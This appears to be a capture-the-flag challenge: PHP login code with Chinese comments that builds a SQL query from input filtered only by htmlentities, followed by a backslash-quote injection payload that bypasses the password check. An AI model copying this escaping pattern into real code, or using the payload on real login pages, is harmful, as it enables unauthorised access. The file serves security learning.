<? error_reporting(0); require 'db.inc.php'; function clean($str) { //返回当前 magic_quotes_gpc 配置选项的设置 //如果 magic_quotes_gpc 为关闭时返回 0,否则返回 1。在 PHP 5.4.O 起将始终返回 FALSE。 if(get_magic_quotes_gpc()) { $str=stripslashes($str); //stripslashes() 函数删除由 addslashes() 函数添加的反斜杠。 } return htmlentities($str, ENT_QUOTES); //把字符转换为 HTML 实体: //ENT_QUOTES - 编码双引号和单引号。 //过滤单引号,双引号 } $username = @clean((string)$_GET['username']); $password = @clean((string)$_GET['password']); $query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';'; /* $query='SELECT * FROM users WHERE name=\''admin \'\' AND pass=\''or 1=1# '\';'; $query='SELECT * FROM users WHERE name='admin ' AND pass='or 1=1#'; */ $result=mysql_query($query); if(!$result || mysql_num_rows($result) < 1) { die('Invalid password!'); //mysql_num_rows() 函数返回结果集中行的数目。 } echo $flag;
?username=admin\&password=or 1=1%23